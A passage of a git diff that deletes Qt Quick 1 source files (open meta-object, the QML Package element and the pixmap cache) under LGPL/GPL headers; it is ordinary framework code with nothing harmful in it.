{ - id = createProperty(name.constData(), "") - d->type->d->propertyOffset; - } else { - id = *iter; - } - - if (id >= 0) { - QVariant &dataVal = d->getData(id); - if (dataVal == val) - return; - - dataVal = val; - activate(d->object, id + d->type->d->signalOffset, 0); - } -} - -// returns true if this value has been initialized by a call to either value() or setValue() -bool QDeclarative1OpenMetaObject::hasValue(int id) const -{ - return d->hasData(id); -} - -void QDeclarative1OpenMetaObject::setCached(bool c) -{ - if (c == d->cacheProperties || !d->type->d->engine) - return; - - d->cacheProperties = c; - - QDeclarativeData *qmldata = QDeclarativeData::get(d->object, true); - if (d->cacheProperties) { - if (!d->type->d->cache) - d->type->d->cache = new QDeclarativePropertyCache(d->type->d->engine, this); - qmldata->propertyCache = d->type->d->cache; - d->type->d->cache->addref(); - } else { - if (d->type->d->cache) - d->type->d->cache->release(); - qmldata->propertyCache = 0; - } -} - - -int QDeclarative1OpenMetaObject::createProperty(const char *name, const char *) -{ - if (d->autoCreate) - return d->type->createProperty(name); - else - return -1; -} - -void QDeclarative1OpenMetaObject::propertyRead(int) -{ -} - -void QDeclarative1OpenMetaObject::propertyWrite(int) -{ -} - -void QDeclarative1OpenMetaObject::propertyWritten(int) -{ -} - -void QDeclarative1OpenMetaObject::propertyCreated(int, QMetaPropertyBuilder &) -{ -} - -QVariant QDeclarative1OpenMetaObject::initialValue(int) -{ - return QVariant(); -} - -int QDeclarative1OpenMetaObject::count() const -{ - return d->type->d->names.count(); -} - -QByteArray QDeclarative1OpenMetaObject::name(int idx) const -{ - Q_ASSERT(idx >= 0 && idx < d->type->d->names.count()); - - return d->type->d->mob.property(idx).name(); -} - -QObject *QDeclarative1OpenMetaObject::object() const -{ - return d->object; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativeopenmetaobject_p.h b/src/qtquick1/util/qdeclarativeopenmetaobject_p.h deleted file mode 100644 index 77f37591c3..0000000000 --- a/src/qtquick1/util/qdeclarativeopenmetaobject_p.h +++ /dev/null @@ -1,129 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEOPENMETAOBJECT_H -#define QDECLARATIVEOPENMETAOBJECT_H - -#include -#include - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarativeEngine; -class QMetaPropertyBuilder; - - -class QDeclarative1OpenMetaObjectTypePrivate; -class Q_QTQUICK1_EXPORT QDeclarative1OpenMetaObjectType : public QDeclarativeRefCount -{ -public: - QDeclarative1OpenMetaObjectType(const QMetaObject *base, QDeclarativeEngine *engine); - ~QDeclarative1OpenMetaObjectType(); - - int createProperty(const QByteArray &name); - - int propertyOffset() const; - int signalOffset() const; - -protected: - virtual void propertyCreated(int, QMetaPropertyBuilder &); - -private: - QDeclarative1OpenMetaObjectTypePrivate *d; - friend class QDeclarative1OpenMetaObject; - friend class QDeclarative1OpenMetaObjectPrivate; -}; - -class QDeclarative1OpenMetaObjectPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1OpenMetaObject : public QAbstractDynamicMetaObject -{ -public: - QDeclarative1OpenMetaObject(QObject *, bool = true); - QDeclarative1OpenMetaObject(QObject *, QDeclarative1OpenMetaObjectType *, bool = true); - ~QDeclarative1OpenMetaObject(); - - QVariant value(const QByteArray &) const; - void setValue(const QByteArray &, const QVariant &); - QVariant value(int) const; - void setValue(int, const QVariant &); - QVariant &operator[](const QByteArray &); - QVariant &operator[](int); - bool hasValue(int) const; - - int count() const; - QByteArray name(int) const; - - QObject *object() const; - virtual QVariant initialValue(int); - - // Be careful - once setCached(true) is called createProperty() is no - // longer automatically called for new properties. - void setCached(bool); - - QDeclarative1OpenMetaObjectType *type() const; - -protected: - virtual int metaCall(QMetaObject::Call _c, int _id, void **_a); - virtual int createProperty(const char *, const char *); - - virtual void propertyRead(int); - virtual void propertyWrite(int); - virtual void propertyWritten(int); - virtual void propertyCreated(int, QMetaPropertyBuilder &); - - QAbstractDynamicMetaObject *parent() const; - -private: - QDeclarative1OpenMetaObjectPrivate *d; - friend class QDeclarative1OpenMetaObjectType; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEOPENMETAOBJECT_H diff --git a/src/qtquick1/util/qdeclarativepackage.cpp b/src/qtquick1/util/qdeclarativepackage.cpp deleted file mode 100644 index 70e3a5e386..0000000000 --- a/src/qtquick1/util/qdeclarativepackage.cpp +++ /dev/null @@ -1,206 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepackage_p.h" - -#include -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass Package QDeclarative1Package - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \brief Package provides a collection of named items. - - The Package class is used in conjunction with - VisualDataModel to enable delegates with a shared context - to be provided to multiple views. - - Any item within a Package may be assigned a name via the - \l{Package::name}{Package.name} attached property. - - The example below creates a Package containing two named items; - \e list and \e grid. The third element in the package (the \l Rectangle) is parented to whichever - delegate it should appear in. This allows an item to move - between views. - - \snippet examples/declarative/modelviews/package/Delegate.qml 0 - - These named items are used as the delegates by the two views who - reference the special \l{VisualDataModel::parts} property to select - a model which provides the chosen delegate. - - \snippet examples/declarative/modelviews/package/view.qml 0 - - \sa {declarative/modelviews/package}{Package example}, {demos/declarative/photoviewer}{Photo Viewer demo}, QtDeclarative -*/ - -/*! - \qmlattachedproperty string Package::name - This attached property holds the name of an item within a Package. -*/ - - -class QDeclarative1PackagePrivate : public QObjectPrivate -{ -public: - QDeclarative1PackagePrivate() {} - - struct DataGuard : public QDeclarativeGuard - { - DataGuard(QObject *obj, QList *l) : list(l) { (QDeclarativeGuard&)*this = obj; } - QList *list; - void objectDestroyed(QObject *) { - // we assume priv will always be destroyed after objectDestroyed calls - list->removeOne(*this); - } - }; - - QList dataList; - static void data_append(QDeclarativeListProperty *prop, QObject *o) { - QList *list = static_cast *>(prop->data); - list->append(DataGuard(o, list)); - } - static void data_clear(QDeclarativeListProperty *prop) { - QList *list = static_cast *>(prop->data); - list->clear(); - } - static QObject *data_at(QDeclarativeListProperty *prop, int index) { - QList *list = static_cast *>(prop->data); - return list->at(index); - } - static int data_count(QDeclarativeListProperty *prop) { - QList *list = static_cast *>(prop->data); - return list->count(); - } -}; - -QHash QDeclarative1PackageAttached::attached; - -QDeclarative1PackageAttached::QDeclarative1PackageAttached(QObject *parent) -: QObject(parent) -{ - attached.insert(parent, this); -} - -QDeclarative1PackageAttached::~QDeclarative1PackageAttached() -{ - attached.remove(parent()); -} - -QString QDeclarative1PackageAttached::name() const -{ - return _name; -} - -void QDeclarative1PackageAttached::setName(const QString &n) -{ - _name = n; -} - -QDeclarative1Package::QDeclarative1Package(QObject *parent) - : QObject(*(new QDeclarative1PackagePrivate), parent) -{ -} - -QDeclarative1Package::~QDeclarative1Package() -{ - Q_D(QDeclarative1Package); - for (int ii = 0; ii < d->dataList.count(); ++ii) { - QObject *obj = d->dataList.at(ii); - obj->setParent(this); - } -} - -QDeclarativeListProperty QDeclarative1Package::data() -{ - Q_D(QDeclarative1Package); - return QDeclarativeListProperty(this, &d->dataList, QDeclarative1PackagePrivate::data_append, - QDeclarative1PackagePrivate::data_count, - QDeclarative1PackagePrivate::data_at, - QDeclarative1PackagePrivate::data_clear); -} - -bool QDeclarative1Package::hasPart(const QString &name) -{ - Q_D(QDeclarative1Package); - for (int ii = 0; ii < d->dataList.count(); ++ii) { - QObject *obj = d->dataList.at(ii); - QDeclarative1PackageAttached *a = QDeclarative1PackageAttached::attached.value(obj); - if (a && a->name() == name) - return true; - } - return false; -} - -QObject *QDeclarative1Package::part(const QString &name) -{ - Q_D(QDeclarative1Package); - if (name.isEmpty() && !d->dataList.isEmpty()) - return d->dataList.at(0); - - for (int ii = 0; ii < d->dataList.count(); ++ii) { - QObject *obj = d->dataList.at(ii); - QDeclarative1PackageAttached *a = QDeclarative1PackageAttached::attached.value(obj); - if (a && a->name() == name) - return obj; - } - - if (name == QLatin1String("default") && !d->dataList.isEmpty()) - return d->dataList.at(0); - - return 0; -} - -QDeclarative1PackageAttached *QDeclarative1Package::qmlAttachedProperties(QObject *o) -{ - return new QDeclarative1PackageAttached(o); -} - - - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativepackage_p.h b/src/qtquick1/util/qdeclarativepackage_p.h deleted file mode 100644 index 6930cf6712..0000000000 --- a/src/qtquick1/util/qdeclarativepackage_p.h +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPACKAGE_H -#define QDECLARATIVEPACKAGE_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1PackagePrivate; -class QDeclarative1PackageAttached; -class Q_AUTOTEST_EXPORT QDeclarative1Package : public QObject -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Package) - - Q_CLASSINFO("DefaultProperty", "data") - Q_PROPERTY(QDeclarativeListProperty data READ data SCRIPTABLE false) - -public: - QDeclarative1Package(QObject *parent=0); - virtual ~QDeclarative1Package(); - - QDeclarativeListProperty data(); - - QObject *part(const QString & = QString()); - bool hasPart(const QString &); - - static QDeclarative1PackageAttached *qmlAttachedProperties(QObject *); -}; - -class QDeclarative1PackageAttached : public QObject -{ -Q_OBJECT -Q_PROPERTY(QString name READ name WRITE setName) -public: - QDeclarative1PackageAttached(QObject *parent); - virtual ~QDeclarative1PackageAttached(); - - QString name() const; - void setName(const QString &n); - - static QHash attached; -private: - QString _name; -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Package) -QML_DECLARE_TYPEINFO(QDeclarative1Package, QML_HAS_ATTACHED_PROPERTIES) - -QT_END_HEADER - -#endif // QDECLARATIVEPACKAGE_H diff --git a/src/qtquick1/util/qdeclarativepixmapcache.cpp b/src/qtquick1/util/qdeclarativepixmapcache.cpp deleted file mode 100644 index ea9de6771c..0000000000 --- a/src/qtquick1/util/qdeclarativepixmapcache.cpp +++ /dev/null @@ -1,1090 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepixmapcache_p.h" -#include "QtDeclarative/qdeclarativenetworkaccessmanagerfactory.h" -#include "QtDeclarative/qdeclarativeimageprovider.h" - -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define IMAGEREQUEST_MAX_REQUEST_COUNT 8 -#define IMAGEREQUEST_MAX_REDIRECT_RECURSION 16 -#define CACHE_EXPIRE_TIME 30 -#define CACHE_REMOVAL_FRACTION 4 - -QT_BEGIN_NAMESPACE - - - -// The cache limit describes the maximum "junk" in the cache. -// These are the same defaults as QPixmapCache -#if defined(Q_WS_QWS) || defined(Q_WS_WINCE) -static int cache_limit = 2048 * 1024; // 2048 KB cache limit for embedded -#else -static int cache_limit = 10240 * 1024; // 10 MB cache limit for desktop -#endif - -class QDeclarative1PixmapReader; -class QDeclarative1PixmapData; -class QDeclarative1PixmapReply : public QObject -{ - Q_OBJECT -public: - enum ReadError { NoError, Loading, Decoding }; - - QDeclarative1PixmapReply(QDeclarative1PixmapData *); - ~QDeclarative1PixmapReply(); - - QDeclarative1PixmapData *data; - QDeclarative1PixmapReader *reader; - QSize requestSize; - - bool loading; - int redirectCount; - - class Event : public QEvent { - public: - Event(ReadError, const QString &, const QSize &, const QImage &); - - ReadError error; - QString errorString; - QSize implicitSize; - QImage image; - }; - void postReply(ReadError, const QString &, const QSize &, const QImage &); - - -Q_SIGNALS: - void finished(); - void downloadProgress(qint64, qint64); - -protected: - bool event(QEvent *event); - -private: - Q_DISABLE_COPY(QDeclarative1PixmapReply) - -public: - static int finishedIndex; - static int downloadProgressIndex; -}; - -class QDeclarative1PixmapReaderThreadObject : public QObject { - Q_OBJECT -public: - QDeclarative1PixmapReaderThreadObject(QDeclarative1PixmapReader *); - void processJobs(); - virtual bool event(QEvent *e); -private slots: - void networkRequestDone(); -private: - QDeclarative1PixmapReader *reader; -}; - -class QDeclarative1PixmapData; -class QDeclarative1PixmapReader : public QThread -{ - Q_OBJECT -public: - QDeclarative1PixmapReader(QDeclarativeEngine *eng); - ~QDeclarative1PixmapReader(); - - QDeclarative1PixmapReply *getImage(QDeclarative1PixmapData *); - void cancel(QDeclarative1PixmapReply *rep); - - static QDeclarative1PixmapReader *instance(QDeclarativeEngine *engine); - -protected: - void run(); - -private: - friend class QDeclarative1PixmapReaderThreadObject; - void processJobs(); - void processJob(QDeclarative1PixmapReply *, const QUrl &, const QSize &); - void networkRequestDone(QNetworkReply *); - - QList jobs; - QList cancelled; - QDeclarativeEngine *engine; - QObject *eventLoopQuitHack; - - QMutex mutex; - QDeclarative1PixmapReaderThreadObject *threadObject; - QWaitCondition waitCondition; - - QNetworkAccessManager *networkAccessManager(); - QNetworkAccessManager *accessManager; - - QHash replies; - - static int replyDownloadProgress; - static int replyFinished; - static int downloadProgress; - static int threadNetworkRequestDone; - static QHash readers; - static QMutex readerMutex; -}; - -class QDeclarative1PixmapData -{ -public: - QDeclarative1PixmapData(const QUrl &u, const QSize &s, const QString &e) - : refCount(1), inCache(false), pixmapStatus(QDeclarative1Pixmap::Error), - url(u), errorString(e), requestSize(s), reply(0), prevUnreferenced(0), - prevUnreferencedPtr(0), nextUnreferenced(0) - { - } - - QDeclarative1PixmapData(const QUrl &u, const QSize &r) - : refCount(1), inCache(false), pixmapStatus(QDeclarative1Pixmap::Loading), - url(u), requestSize(r), reply(0), prevUnreferenced(0), prevUnreferencedPtr(0), - nextUnreferenced(0) - { - } - - QDeclarative1PixmapData(const QUrl &u, const QPixmap &p, const QSize &s, const QSize &r) - : refCount(1), inCache(false), privatePixmap(false), pixmapStatus(QDeclarative1Pixmap::Ready), - url(u), pixmap(p), implicitSize(s), requestSize(r), reply(0), prevUnreferenced(0), - prevUnreferencedPtr(0), nextUnreferenced(0) - { - } - - QDeclarative1PixmapData(const QPixmap &p) - : refCount(1), inCache(false), privatePixmap(true), pixmapStatus(QDeclarative1Pixmap::Ready), - pixmap(p), implicitSize(p.size()), requestSize(p.size()), reply(0), prevUnreferenced(0), - prevUnreferencedPtr(0), nextUnreferenced(0) - { - } - - int cost() const; - void addref(); - void release(); - void addToCache(); - void removeFromCache(); - - uint refCount; - - bool inCache:1; - bool privatePixmap:1; - - QDeclarative1Pixmap::Status pixmapStatus; - QUrl url; - QString errorString; - QPixmap pixmap; - QSize implicitSize; - QSize requestSize; - - QDeclarative1PixmapReply *reply; - - QDeclarative1PixmapData *prevUnreferenced; - QDeclarative1PixmapData**prevUnreferencedPtr; - QDeclarative1PixmapData *nextUnreferenced; -}; - -int QDeclarative1PixmapReply::finishedIndex = -1; -int QDeclarative1PixmapReply::downloadProgressIndex = -1; - -// XXX -QHash QDeclarative1PixmapReader::readers; -QMutex QDeclarative1PixmapReader::readerMutex; - -int QDeclarative1PixmapReader::replyDownloadProgress = -1; -int QDeclarative1PixmapReader::replyFinished = -1; -int QDeclarative1PixmapReader::downloadProgress = -1; -int QDeclarative1PixmapReader::threadNetworkRequestDone = -1; - - -void QDeclarative1PixmapReply::postReply(ReadError error, const QString &errorString, - const QSize &implicitSize, const QImage &image) -{ - loading = false; - QCoreApplication::postEvent(this, new Event(error, errorString, implicitSize, image)); -} - -QDeclarative1PixmapReply::Event::Event(ReadError e, const QString &s, const QSize &iSize, const QImage &i) -: QEvent(QEvent::User), error(e), errorString(s), implicitSize(iSize), image(i) -{ -} - -QNetworkAccessManager *QDeclarative1PixmapReader::networkAccessManager() -{ - if (!accessManager) { - Q_ASSERT(threadObject); - accessManager = QDeclarativeEnginePrivate::get(engine)->createNetworkAccessManager(threadObject); - } - return accessManager; -} - -static bool readImage(const QUrl& url, QIODevice *dev, QImage *image, QString *errorString, QSize *impsize, - const QSize &requestSize) -{ - QImageReader imgio(dev); - - bool force_scale = false; - if (url.path().endsWith(QLatin1String(".svg"),Qt::CaseInsensitive)) { - imgio.setFormat("svg"); // QSvgPlugin::capabilities bug QTBUG-9053 - force_scale = true; - } - - bool scaled = false; - if (requestSize.width() > 0 || requestSize.height() > 0) { - QSize s = imgio.size(); - if (requestSize.width() && (force_scale || requestSize.width() < s.width())) { - if (requestSize.height() <= 0) - s.setHeight(s.height()*requestSize.width()/s.width()); - s.setWidth(requestSize.width()); scaled = true; - } - if (requestSize.height() && (force_scale || requestSize.height() < s.height())) { - if (requestSize.width() <= 0) - s.setWidth(s.width()*requestSize.height()/s.height()); - s.setHeight(requestSize.height()); scaled = true; - } - if (scaled) { imgio.setScaledSize(s); } - } - - if (impsize) - *impsize = imgio.size(); - - if (imgio.read(image)) { - if (impsize && impsize->width() < 0) - *impsize = image->size(); - return true; - } else { - if (errorString) - *errorString = QDeclarative1Pixmap::tr("Error decoding: %1: %2").arg(url.toString()) - .arg(imgio.errorString()); - return false; - } -} - -QDeclarative1PixmapReader::QDeclarative1PixmapReader(QDeclarativeEngine *eng) -: QThread(eng), engine(eng), threadObject(0), accessManager(0) -{ - eventLoopQuitHack = new QObject; - eventLoopQuitHack->moveToThread(this); - connect(eventLoopQuitHack, SIGNAL(destroyed(QObject*)), SLOT(quit()), Qt::DirectConnection); - start(QThread::IdlePriority); -} - -QDeclarative1PixmapReader::~QDeclarative1PixmapReader() -{ - readerMutex.lock(); - readers.remove(engine); - readerMutex.unlock(); - - eventLoopQuitHack->deleteLater(); - wait(); -} - -void QDeclarative1PixmapReader::networkRequestDone(QNetworkReply *reply) -{ - QDeclarative1PixmapReply *job = replies.take(reply); - - if (job) { - job->redirectCount++; - if (job->redirectCount < IMAGEREQUEST_MAX_REDIRECT_RECURSION) { - QVariant redirect = reply->attribute(QNetworkRequest::RedirectionTargetAttribute); - if (redirect.isValid()) { - QUrl url = reply->url().resolved(redirect.toUrl()); - QNetworkRequest req(url); - req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true); - - reply->deleteLater(); - reply = networkAccessManager()->get(req); - - QMetaObject::connect(reply, replyDownloadProgress, job, downloadProgress); - QMetaObject::connect(reply, replyFinished, threadObject, threadNetworkRequestDone); - - replies.insert(reply, job); - return; - } - } - - QImage image; - QDeclarative1PixmapReply::ReadError error = QDeclarative1PixmapReply::NoError; - QString errorString; - QSize readSize; - if (reply->error()) { - error = QDeclarative1PixmapReply::Loading; - errorString = reply->errorString(); - } else { - QByteArray all = reply->readAll(); - QBuffer buff(&all); - buff.open(QIODevice::ReadOnly); - if (!readImage(reply->url(), &buff, &image, &errorString, &readSize, job->requestSize)) { - error = QDeclarative1PixmapReply::Decoding; - } - } - // send completion event to the QDeclarative1PixmapReply - mutex.lock(); - if (!cancelled.contains(job)) job->postReply(error, errorString, readSize, image); - mutex.unlock(); - } - reply->deleteLater(); - - // kick off event loop again incase we have dropped below max request count - threadObject->processJobs(); -} - -QDeclarative1PixmapReaderThreadObject::QDeclarative1PixmapReaderThreadObject(QDeclarative1PixmapReader *i) -: reader(i) -{ -} - -void QDeclarative1PixmapReaderThreadObject::processJobs() -{ - QCoreApplication::postEvent(this, new QEvent(QEvent::User)); -} - -bool QDeclarative1PixmapReaderThreadObject::event(QEvent *e) -{ - if (e->type() == QEvent::User) { - reader->processJobs(); - return true; - } else { - return QObject::event(e); - } -} - -void QDeclarative1PixmapReaderThreadObject::networkRequestDone() -{ - QNetworkReply *reply = static_cast(sender()); - reader->networkRequestDone(reply); -} - -void QDeclarative1PixmapReader::processJobs() -{ - QMutexLocker locker(&mutex); - - while (true) { - if (cancelled.isEmpty() && (jobs.isEmpty() || replies.count() >= IMAGEREQUEST_MAX_REQUEST_COUNT)) - return; // Nothing else to do - - // Clean cancelled jobs - if (cancelled.count()) { - for (int i = 0; i < cancelled.count(); ++i) { - QDeclarative1PixmapReply *job = cancelled.at(i); - QNetworkReply *reply = replies.key(job, 0); - if (reply && reply->isRunning()) { - // cancel any jobs already started - replies.remove(reply); - reply->close(); - } - // deleteLater, since not owned by this thread - job->deleteLater(); - } - cancelled.clear(); - } - - if (!jobs.isEmpty() && replies.count() < IMAGEREQUEST_MAX_REQUEST_COUNT) { - QDeclarative1PixmapReply *runningJob = jobs.takeLast(); - runningJob->loading = true; - - QUrl url = runningJob->data->url; - QSize requestSize = runningJob->data->requestSize; - locker.unlock(); - processJob(runningJob, url, requestSize); - locker.relock(); - } - } -} - -void QDeclarative1PixmapReader::processJob(QDeclarative1PixmapReply *runningJob, const QUrl &url, - const QSize &requestSize) -{ - // fetch - if (url.scheme() == QLatin1String("image")) { - // Use QmlImageProvider - QSize readSize; - QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); - QImage image = ep->getImageFromProvider(url, &readSize, requestSize); - - QDeclarative1PixmapReply::ReadError errorCode = QDeclarative1PixmapReply::NoError; - QString errorStr; - if (image.isNull()) { - errorCode = QDeclarative1PixmapReply::Loading; - errorStr = QDeclarative1Pixmap::tr("Failed to get image from provider: %1").arg(url.toString()); - } - - mutex.lock(); - if (!cancelled.contains(runningJob)) runningJob->postReply(errorCode, errorStr, readSize, image); - mutex.unlock(); - } else { - QString lf = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url); - if (!lf.isEmpty()) { - // Image is local - load/decode immediately - QImage image; - QDeclarative1PixmapReply::ReadError errorCode = QDeclarative1PixmapReply::NoError; - QString errorStr; - QFile f(lf); - QSize readSize; - if (f.open(QIODevice::ReadOnly)) { - if (!readImage(url, &f, &image, &errorStr, &readSize, requestSize)) - errorCode = QDeclarative1PixmapReply::Loading; - } else { - errorStr = QDeclarative1Pixmap::tr("Cannot open: %1").arg(url.toString()); - errorCode = QDeclarative1PixmapReply::Loading; - } - mutex.lock(); - if (!cancelled.contains(runningJob)) runningJob->postReply(errorCode, errorStr, readSize, image); - mutex.unlock(); - } else { - // Network resource - QNetworkRequest req(url); - req.setAttribute(QNetworkRequest::HttpPipeliningAllowedAttribute, true); - QNetworkReply *reply = networkAccessManager()->get(req); - - QMetaObject::connect(reply, replyDownloadProgress, runningJob, downloadProgress); - QMetaObject::connect(reply, replyFinished, threadObject, threadNetworkRequestDone); - - replies.insert(reply, runningJob); - } - } -} - -QDeclarative1PixmapReader *QDeclarative1PixmapReader::instance(QDeclarativeEngine *engine) -{ - readerMutex.lock(); - QDeclarative1PixmapReader *reader = readers.value(engine); - if (!reader) { - reader = new QDeclarative1PixmapReader(engine); - readers.insert(engine, reader); - } - readerMutex.unlock(); - - return reader; -} - -QDeclarative1PixmapReply *QDeclarative1PixmapReader::getImage(QDeclarative1PixmapData *data) -{ - mutex.lock(); - QDeclarative1PixmapReply *reply = new QDeclarative1PixmapReply(data); - reply->reader = this; - jobs.append(reply); - // XXX - if (threadObject) threadObject->processJobs(); - mutex.unlock(); - return reply; -} - -void QDeclarative1PixmapReader::cancel(QDeclarative1PixmapReply *reply) -{ - mutex.lock(); - if (reply->loading) { - cancelled.append(reply); - reply->data = 0; - // XXX - if (threadObject) threadObject->processJobs(); - } else { - jobs.removeAll(reply); - delete reply; - } - mutex.unlock(); -} - -void QDeclarative1PixmapReader::run() -{ - if (replyDownloadProgress == -1) { - const QMetaObject *nr = &QNetworkReply::staticMetaObject; - const QMetaObject *pr = &QDeclarative1PixmapReply::staticMetaObject; - const QMetaObject *ir = &QDeclarative1PixmapReaderThreadObject::staticMetaObject; - replyDownloadProgress = nr->indexOfSignal("downloadProgress(qint64,qint64)"); - replyFinished = nr->indexOfSignal("finished()"); - downloadProgress = pr->indexOfSignal("downloadProgress(qint64,qint64)"); - threadNetworkRequestDone = ir->indexOfSlot("networkRequestDone()"); - } - - mutex.lock(); - threadObject = new QDeclarative1PixmapReaderThreadObject(this); - mutex.unlock(); - - processJobs(); - exec(); - - delete threadObject; - threadObject = 0; -} - -class QDeclarative1PixmapKey -{ -public: - const QUrl *url; - const QSize *size; -}; - -inline bool operator==(const QDeclarative1PixmapKey &lhs, const QDeclarative1PixmapKey &rhs) -{ - return *lhs.size == *rhs.size && *lhs.url == *rhs.url; -} - -inline uint qHash(const QDeclarative1PixmapKey &key) -{ - return qHash(*key.url) ^ key.size->width() ^ key.size->height(); -} - -class QDeclarative1PixmapStore : public QObject -{ - Q_OBJECT -public: - QDeclarative1PixmapStore(); - - void unreferencePixmap(QDeclarative1PixmapData *); - void referencePixmap(QDeclarative1PixmapData *); - -protected: - virtual void timerEvent(QTimerEvent *); - -public: - QHash m_cache; - -private: - void shrinkCache(int remove); - - QDeclarative1PixmapData *m_unreferencedPixmaps; - QDeclarative1PixmapData *m_lastUnreferencedPixmap; - - int m_unreferencedCost; - int m_timerId; -}; - -Q_GLOBAL_STATIC(QDeclarative1PixmapStore, pixmapStore) - -QDeclarative1PixmapStore::QDeclarative1PixmapStore() -: m_unreferencedPixmaps(0), m_lastUnreferencedPixmap(0), m_unreferencedCost(0), m_timerId(-1) -{ -} - -void QDeclarative1PixmapStore::unreferencePixmap(QDeclarative1PixmapData *data) -{ - Q_ASSERT(data->prevUnreferenced == 0); - Q_ASSERT(data->prevUnreferencedPtr == 0); - Q_ASSERT(data->nextUnreferenced == 0); - - data->nextUnreferenced = 